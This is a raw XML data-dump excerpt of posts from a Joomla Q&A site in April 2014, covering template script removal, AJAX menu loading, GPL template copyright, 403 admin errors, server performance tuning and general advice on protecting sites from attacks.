  <row Id="98" PostTypeId="2" ParentId="97" CreationDate="2014-04-22T20:51:48.927" Score="19" Body="&lt;p&gt;Im using Joomla 3.2, at the top of my tempate I put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;&#xA;$dontInclude = array(&#xA;'/media/jui/js/jquery.js',&#xA;'/media/jui/js/jquery.min.js',&#xA;'/media/jui/js/jquery-noconflict.js',&#xA;'/media/jui/js/jquery-migrate.js',&#xA;'/media/jui/js/jquery-migrate.min.js',&#xA;'/media/jui/js/bootstrap.js',&#xA;'/media/system/js/core-uncompressed.js',&#xA;'/media/system/js/tabs-state.js',&#xA;'/media/system/js/core.js',&#xA;'/media/system/js/mootools-core.js',&#xA;'/media/system/js/mootools-core-uncompressed.js',&#xA;);&#xA;&#xA;foreach($doc-&amp;gt;_scripts as $key =&amp;gt; $script){&#xA;    if(in_array($key, $dontInclude)){&#xA;        unset($doc-&amp;gt;_scripts[$key]);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This prevents those scripts from being included, add or remove scripts as needed&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-04-22T21:16:49.747" LastActivityDate="2014-04-22T21:16:49.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="99" PostTypeId="2" ParentId="97" CreationDate="2014-04-22T20:52:06.157" Score="5" Body="&lt;p&gt;You can unset it in the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset(&#xA;  $this-&amp;gt;_scripts['/media/jui/js/mootools-core.js'],&#xA;  $this-&amp;gt;_scripts['/media/jui/js/core.js']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will remove the both JS files from the Header.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-22T20:52:06.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="100" PostTypeId="2" ParentId="11" CreationDate="2014-04-22T20:53:38.493" Score="4" Body="&lt;p&gt;I would suggest Akeeba Admin tools, it offers great protection to nearly all kind of attacks, and white/black list features, you can block ips, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I would investigate why a non live site is attacked so much, is strange being still in development&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2014-04-22T20:53:38.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="101" PostTypeId="1" AcceptedAnswerId="117" CreationDate="2014-04-22T20:56:31.653" Score="3" ViewCount="840" Body="&lt;p&gt;I use K2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a menu item that leads to a page showing introtext and small images of the 4 latest articles from a category. This is set in the category parameters and the menu item leads to the category layout. I would like to display this content without reloading the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make an ajax request when menu item is clicked so this content is appended to the following  element?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;ajax-content&quot;&amp;gt;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="36" LastEditorUserId="32" LastEditDate="2014-04-22T23:53:41.090" LastActivityDate="2014-04-23T00:27:17.083" Title="Ajax call to component from menu item" Tags="|menu-item|ajax|menu-parameters|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="102" PostTypeId="1" AcceptedAnswerId="2387" CreationDate="2014-04-22T21:01:32.500" Score="7" ViewCount="982" Body="&lt;p&gt;Is there a way to change the alignment of the latest events of JEvents to horizontal instead of vertical?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe in the &lt;code&gt;div class=&quot;jeventslatest&quot;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be vertical aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CTVCG.jpg&quot; alt=&quot;Jevents&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="98" LastEditorUserId="159" LastEditDate="2014-09-19T06:32:29.730" LastActivityDate="2017-06-21T09:28:04.933" Title="JEvents change &quot;Latest Event&quot;-Module align" Tags="|component|jevents|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="103" PostTypeId="1" AcceptedAnswerId="106" CreationDate="2014-04-22T21:05:09.773" Score="14" ViewCount="1258" Body="&lt;p&gt;Is it illegal to remove the copyright of free templates licensed under GNU/GPL,&#xA;if the site is just for non-commercial purpose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example the copyright below the footer of the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNSMT.png&quot; alt=&quot;Footer copyright&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get more specific, here the template of my choice licensed under GNU/GPL &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomla51.com/free-templates&quot; rel=&quot;noreferrer&quot;&gt;Joomla51 Free Template Oxygen&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="98" LastEditorUserId="69" LastEditDate="2014-04-23T15:14:18.657" LastActivityDate="2014-04-23T15:14:18.657" Title="Copyright removal of free template GNU/GPL" Tags="|templates|commercial|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="105" PostTypeId="2" ParentId="97" CreationDate="2014-04-22T21:20:25.613" Score="4" Body="&lt;p&gt;In Joomla 3.x, you can call &lt;code&gt;JHtml::_('jquery.framework')&lt;/code&gt; in your template to load jQuery without Mootools. This loads jQuery in no conflict mode by default so if you need normal mode, just add a second parameter of &lt;strong&gt;false&lt;/strong&gt;: &lt;code&gt;JHtml::_('jquery.framework', false)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J3.2%3aJavascript_Frameworks&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.2:Javascript_Frameworks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-04-22T21:20:25.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="106" PostTypeId="2" ParentId="103" CreationDate="2014-04-22T21:43:21.390" Score="18" Body="&lt;p&gt;Unless the author of the template made it a specific condition of downloading the template, you can remove any markup from the template, and that would include this-template-build-by-X links.&lt;/p&gt;&#xA;" OwnerUserId="106" LastActivityDate="2014-04-22T21:43:21.390" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="107" PostTypeId="1" AcceptedAnswerId="108" CreationDate="2014-04-22T21:59:55.030" Score="3" ViewCount="2714" Body="&lt;p&gt;When I attempt to log in to the admin panel of my site (Joomla 2.5), I get a 403 permission error.  A number of sources report solutions (none of which have worked in my case, see below) and I am wondering how to troubleshoot this problem appropriately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some points&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the main website is functioning properly, and there is no evidence that the site has been hijacked&lt;/li&gt;&#xA;&lt;li&gt;I have successfully accessed the admin panel in the past with my current credentials&lt;/li&gt;&#xA;&lt;li&gt;My error log reports that &lt;em&gt;client denied by server configuration&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;As noted &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?p=2726989&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; the permissions of the administrator folder are set correctly&lt;/li&gt;&#xA;&lt;li&gt;There is no .htaccess file in the administrator directory.  There is one in the main website directory with a &lt;em&gt;Limit POST&lt;/em&gt; entry.&lt;/li&gt;&#xA;&lt;li&gt;Some instances of this problem appear to be resolved by contacting the host of the webserver.  I'm currently in communication with my provider, and will delete this question if the problem is not Joomla-related.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Do we need an administration tag?)&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="10" LastEditDate="2014-04-25T08:14:24.840" LastActivityDate="2014-04-25T08:14:24.840" Title="Troubleshooting 403 Error accessing Admin panel" Tags="|joomla-2.5|maintenance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="108" PostTypeId="2" ParentId="107" CreationDate="2014-04-22T22:17:12.840" Score="5" Body="&lt;p&gt;I recommend double-checking any rules you have loaded through your .htaccess/web.config file. I've seen people throw in custom rule-sets to manage the /administrator/ directory that don't quite cooperate with their hosts Apache/IIS configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it maybe worth loading a fresh Joomla instance under a subdomain or another account under your control inside the same hosting environment to see if the problem persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience, if it isn't any of the above(including the permissions/ownership issue that has already been cleared), it's usually hosting-related. And of course, from there we get into an entire paradigm of elements(type of host stack, modules loaded for stack elements(PHP, MySQL, Linux, etc)). But you would likely be getting more involved error messages. &lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2014-04-22T22:17:12.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="109" PostTypeId="2" ParentId="19" CreationDate="2014-04-22T22:19:00.007" Score="25" Body="&lt;p&gt;There are several steps you can take to increase server side performance. Do note that some of these will not work with most shared hosts. For great performance you usually need more fine grained control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with any optimizations, you should measure the effect it has on your site's performance. For basic optimizations are tools like &lt;a href=&quot;https://developers.google.com/speed/pagespeed/&quot;&gt;PageSpeed&lt;/a&gt; and &lt;a href=&quot;https://developer.yahoo.com/yslow/&quot;&gt;YSlow&lt;/a&gt; helpful (I recommend the Firefox versions). For a more in-depth understanding you'll have to measure the actual response times of your live system over a period of time.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;PHP&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable Opcode Caching&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably the single biggest thing you can do to increase you site's performance. I recommend either using &lt;a href=&quot;http://www.php.net/manual/en/book.opcache.php&quot;&gt;OpCache&lt;/a&gt; or &lt;a href=&quot;http://www.php.net/manual/en/book.apc.php&quot;&gt;APC&lt;/a&gt;. The configuration of these caches can be tweaked for even greater performance based on the servers and sites specific needs, but just installing is already a huge boost.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update PHP version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newer PHP version regularly come with performance improvements. Additionally there are a number of cases where Joomla can use better code when running on a newer PHP version. As of today you should not be using a PHP version older than PHP 5.4 if you care about performance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;PHP Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On older PHP versions (&amp;lt;= 5.3) take care to turn off &lt;code&gt;register_globals&lt;/code&gt; and &lt;code&gt;magic_quotes_gpc&lt;/code&gt; for a free performance win. On PHP &gt;= 5.6 change &lt;code&gt;always_populate_raw_post_data&lt;/code&gt; to -1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;PHP extensions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla contains some code to workaround missing PHP extensions. This will always be slower than those extensions. For a decent performance improvement install the following extensions: &lt;code&gt;mbstring&lt;/code&gt;, &lt;code&gt;zip&lt;/code&gt;, &lt;code&gt;ftp&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Webserver&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable gzip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling server side compression trades bandwidth for CPU resources. For most sites out there this is the right call. Be careful to only compress text data, compressing binary data will give you the CPU hit without the bandwidth advantages. You can also enable compression in the Joomla settings but it's better if you let the server deal with this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Precompress static resources&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not talking about minfication (though this helps too) but you can configure Nginx and Apache to server already compressed resources, effectively eliminating the CPU hit from gzip compression. Bonus points: Use &lt;a href=&quot;https://code.google.com/p/zopfli/&quot;&gt;Zopfli&lt;/a&gt; for even smaller files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use FastCGI for PHP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically you should use &lt;code&gt;php-fpm&lt;/code&gt;. This prevents starting up PHP when the browser requests a non-PHP file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use appropriate cache headers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;Expires&lt;/code&gt; header can greatly reduce the the server resources required. After all the fastest request is the one never done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Apache&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Generally I'd recommend using Nginx for high performance sites. If you absolutely do need to use Apache for some reason I got a bonus tip:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable AllowOverride&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;AllowOverride&lt;/code&gt; to &lt;code&gt;None&lt;/code&gt; prevents a lot of disk IO and &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Joomla&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not use the FTP Mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it doesn't affect your users reading the site, it will slow down some operations like extension installation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn off unused extensions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes especially for Plugins, many of these are run on every request. Disabling menus and components is mainly helpful when listing available extensions and menu types. Also take 5 minutes to go trough the extensions that come with the Joomla core and disable those you don't use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn off Prepare content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a lot of custom modules (&lt;code&gt;mod_custom&lt;/code&gt; not custom as in self written) check if you can disable Prepare content in those. This saves some processing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Caching&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're serious about performance you'll want to enable caching. Especially useful for read heavy sites with many anonymous users. Logged-in users will bypass most of the cache, if you have a lot of these the effect won't be as big.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an alternative session handler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using an alternative session handler you can free your database for more important things. I'd not recommend file (confusingly called None in the Joomla settings) as that will bring once again increase disk IO. Using APC is potentially the fastet but increases the risk of loosing all session data. The right middle ground is Memcache. While this requires an additional process, it's more reliable than APC and much faster than storing all the data in the database&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep your site simple&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you really need that Facebook button? What about that cute icon that no one ever sees because it's partly hidden behind some banner? The less your site displays the faster it will be. Also wherever possible use CSS3 instead of images. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Miscellaneous&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set a favicon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank to a &lt;a href=&quot;http://ruthlessray.wordpress.com/2013/09/02/inventing-favicon-ico/&quot;&gt;decision dating back to Internet Explorer 4.0&lt;/a&gt; browsers make a request to a file called &lt;code&gt;favicon.ico&lt;/code&gt; whenever a user visits your site. If you don't have one this causes unnecessary IO, as 404 responses are not cached. Either specify your site's icon with a HTML meta tag or add a file called &lt;code&gt;favicon.ico&lt;/code&gt; to the web root. Don't want a favicon? Place a transparent PNG with a size of 1x1 pixel in that location. Note that the extension still needs to be &lt;code&gt;.ico&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optimize your images&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's amazing what kind saving one can get by optimizing images, especially PNG files. There are a variety of tools available for any operating system, personally I use &lt;a href=&quot;http://imageoptim.com&quot;&gt;ImageOptim&lt;/a&gt; which is available for OS X. Joomla's core images are already optimized but go trough your own images, especially templates are important. You could also check the extensions you are using. If they're open source, why don't you contribute a pull request containing newly optimized images?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;The advanced&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you really wanna go all out, consider putting &lt;a href=&quot;https://www.varnish-cache.org&quot;&gt;Varnish&lt;/a&gt; in front of your site. It caches requests to your site and if possible serves them from it's own cache, never hitting Joomla. It's a complex tool but with a lot of power. Joomla won't take advantage of advanced functionality like Edge Side Includes (ESI) but your own code could.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-08-24T05:03:19.020" LastActivityDate="2014-08-24T05:03:19.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="110" PostTypeId="2" ParentId="85" CreationDate="2014-04-22T22:19:56.440" Score="6" Body="&lt;p&gt;I think to truly answer this question, you need to be extensively familiar with both WP and Joomla!. I'm Joomla! heavy and have only used WP a few times, so my answer may not be as full as you might hope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP is first and foremost, a blogging platform.  It's set up for feeds of data. You have to go out of your way to move past the feed default to get a regular static Home page. It's not hard, it's just not default. If you know what you're doing, you can expand WP to move beyond the blogging platform, or if you download a template that has already done it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is first and foremost, a CMS. It's built to hold a complete website, including blogging, straight from it's base core. Plugins help, they can get you a more customized experience for those who don't know how to create their own components and plugins. After all, why reinvent the wheel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, WP is great for people who aren't developers, or who know just enough. Joomla on the other hand was built for developers, for people who want to create a fully customized front-end and back-end experience. I spent hours working in a WP template to force it to do what I wanted, which was frustrating when I'm used to building things the way I want them the first time with Joomla (we don't use templates - we have our own core Joomla that's stripped down to the basics and we build from the ground up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you pull up the FTP of WP and Joomla side by side, you can see how very different they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP has this plugin area where you can search for plugins, choose and install.  I believe you can also update from this same place. When you're in a plugin area, it will often tell you that an update is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla uses Extension Manager where you can upload a downloaded plugin or component - I think there might be search functionality, but I honestly have never used it because I'm usually using JED to find what I need. This same area also offers you an update button where you can see all the available updates for what you have installed.  Again, some components will tell you they have an update available, but not all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key difference I see is WP is made for users - they install a template, they can update, they can add, Joomla is made for developers, we do the installation, we do the updating, we build/add new features and functions. That's not to say it's not user friendly, but there are areas that I think are pushed out of the user's way because they are built for developers.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-22T22:19:56.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="111" PostTypeId="5" CreationDate="2014-04-22T22:23:10.790" Score="0" Body="&lt;p&gt;Questions should be tagged &quot;joomla-framework&quot; if they deal with any of the packages that are part of the Joomla! Framework, such as the Application Package, Form Package, Social API's etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can learn more about the Framework by visiting its site @ &lt;a href=&quot;http://framework.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://framework.joomla.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the code for the Framework on GitHub @ &lt;a href=&quot;https://github.com/joomla-framework/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla-framework/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-22T22:29:46.780" LastActivityDate="2014-04-22T22:29:46.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="112" PostTypeId="4" CreationDate="2014-04-22T22:23:10.790" Score="0" Body="This question has to do with the Joomla! Framework, a set of packages targeting PHP 5.3+ that you can use in your applications." OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-22T22:29:04.550" LastActivityDate="2014-04-22T22:29:04.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="113" PostTypeId="2" ParentId="103" CreationDate="2014-04-22T23:13:41.507" Score="3" Body="&lt;p&gt;As Don said be sure to first read the conditions of use. If your questions are not answered and there is still some doubt simply send a request to the creator asking permission for the removal of the copyright link. They may set some conditions for you to abide by. Asking will clear all doubts and future proof you and your client.&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2014-04-22T23:13:41.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="114" PostTypeId="2" ParentId="101" CreationDate="2014-04-22T23:48:42.827" Score="2" Body="&lt;p&gt;You will handle most of this in your JavaScript. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla!, set a custom CSS class on the menu item in question. This is done with the Link CSS Style option in the Link Type Options of your menu item. You can then listen for a click on that link by referencing the style you set in your JavaScript. Remember to use event.preventDefault(); to ensure your menu item doesn't cause the page to reload.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2014-04-22T23:48:42.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="115" PostTypeId="2" ParentId="91" CreationDate="2014-04-23T00:18:57.650" Score="3" Body="&lt;p&gt;Easily?&#xA;You can use a 3rd party extension.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One I am aware of, is the &lt;strong&gt;&lt;a href=&quot;https://www.nonumber.nl/extensions/modals&quot; rel=&quot;nofollow&quot;&gt;Modals by Nonumber&lt;/a&gt;&lt;/strong&gt;.&lt;br&gt;&#xA;Then you can insert the modals tags into your Menu Item title.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-09-23T10:42:39.810" LastActivityDate="2015-09-23T10:42:39.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="116" PostTypeId="2" ParentId="87" CreationDate="2014-04-23T00:27:15.220" Score="4" Body="&lt;p&gt;I'd suggest turning on the built in developer tools in your browser and monitoring the network requests being made.  Each &quot;step&quot; in the update process is being done via AJAX and it's possible there's an error message not being displayed on the page but it can be found by reviewing the contents of each request.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-04-23T00:27:15.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="117" PostTypeId="2" ParentId="101" CreationDate="2014-04-23T00:27:17.083" Score="5" Body="&lt;p&gt;I'm assuming your using JQuery. If your using Mootools let me know, and I'll update this. &#xA;Your AJAX call can look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $.ajax({&#xA;           url : urlToSend,&#xA;           contentType : &quot;application/json; charset=utf-8&quot;,&#xA;           type : 'get',&#xA;           cache : false,&#xA;           success : function(data) {&#xA;              successFunction(data);&#xA;           },&#xA;           error : function(data1, data2, data3) {&#xA;&#xA;              alert(data3);&#xA;           }&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, change the contentType to be what you need. The type can also be &quot;post&quot; in which case you want to add another parameter data: your_data_to_be_passed_to_the_server,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your successFunction can look like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     successFunction : function(data) {&#xA;         jQuery('#ajax-content').html(data);&#xA;      },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can just put the jQuery('#ajax-content').html(data); line into the AJAX success function if you are only using this for this one call. &lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2014-04-23T00:27:17.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="118" PostTypeId="2" ParentId="11" CreationDate="2014-04-23T00:39:26.477" Score="1" Body="&lt;p&gt;Project HoneyPot is a great idea that worked well until the spammers figured out how to get around it. I am continually blocked by Project HoneyPot because I have a dynamic IP that has apparently been used by spammers about 2 years ago. I now refuse to use websites that use Project HoneyPot. It's not worth my time and effort to get my IP unblocked almost every day. You will be blocking a great many legitimate users if you continue to use it when you are in production. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have admin access to your server there are definitely better ways to do this. &lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2014-04-23T00:39:26.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="119" PostTypeId="1" AcceptedAnswerId="121" CreationDate="2014-04-23T00:59:02.767" Score="5" ViewCount="707" Body="&lt;p&gt;I can specify custom page titles by editing menu options and editing Page Display -&gt; Browser Page Title but how do I do this for blog articles which do not have individual menu options?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-10-24T09:06:47.147" Title="How can I create custom page titles for blog articles?" Tags="|seo|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="120" PostTypeId="2" ParentId="119" CreationDate="2014-04-23T01:18:05.127" Score="3" Body="&lt;p&gt;Create a system menu linking to the items, with prefered page titles.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-04-23T01:18:05.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="121" PostTypeId="2" ParentId="119" CreationDate="2014-04-23T01:31:29.797" Score="3" Body="&lt;p&gt;Took me a bit to realize what you were asking. This thread is I think what you're talking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=696287&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?t=696287&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one option is to override the output of the category items, but it might be easier to just us a plugin like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/seo-a-metadata/meta-data/17926&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/site-management/seo-a-metadata/meta-data/17926&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-23T01:31:29.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="123" PostTypeId="2" ParentId="119" CreationDate="2014-04-23T01:37:15.240" Score="-1" Body="&lt;p&gt;What version of J are you using Neil, and are you using the native J blog option or K2 or another variety of blog? &lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2014-04-23T01:37:15.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="124" PostTypeId="1" CreationDate="2014-04-23T03:07:26.240" Score="9" ViewCount="107" Body="&lt;p&gt;My Joomla! CMS administration dashboard notifies me when an update to an extension is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use the 'one-click' update and that extension gets updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do these 'one-click' updates work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Joomla! have a 'central database' of extension versions that the Joomla! CMS checks against? (i.e. a centralized system that keeps track).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does each extension provider run their own 'update servers' which the Joomla! CMS checks against?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening 'behind the scenes' to make 'one-click' updates work?&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2014-04-23T04:44:30.417" Title="How do Joomla! 'one-click' updates work?" Tags="|extensions|one-click-updates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="125" PostTypeId="2" ParentId="11" CreationDate="2014-04-23T03:10:16.573" Score="7" Body="&lt;p&gt;There is no one solution, you are best off using a combination of solutions. We have some high profile sites that are often targeted so we have adopted these measures -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Cloudflare - great service. The bogus requests never make it to your server and their caching will save you considerable bandwidth. They filter the vast majority of bad requests.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Admin tools or RS Firewall - Many sites you can block most countries other than your target audience. They can also automatically block IP addresses that are repeat offenders.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Jsecure or similar plugin - changing the URL to the admin site is easy insurance. There's nothing to attack if they can't find the page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This protects your sites in multiple ways. Most attackers won't bother with your site if they hit a couple of roadblocks early, there are too many other insecure sites out there to spend a lot of time on one site. Unless they are specifically targeting your site, you should be good.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2014-04-23T03:10:16.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
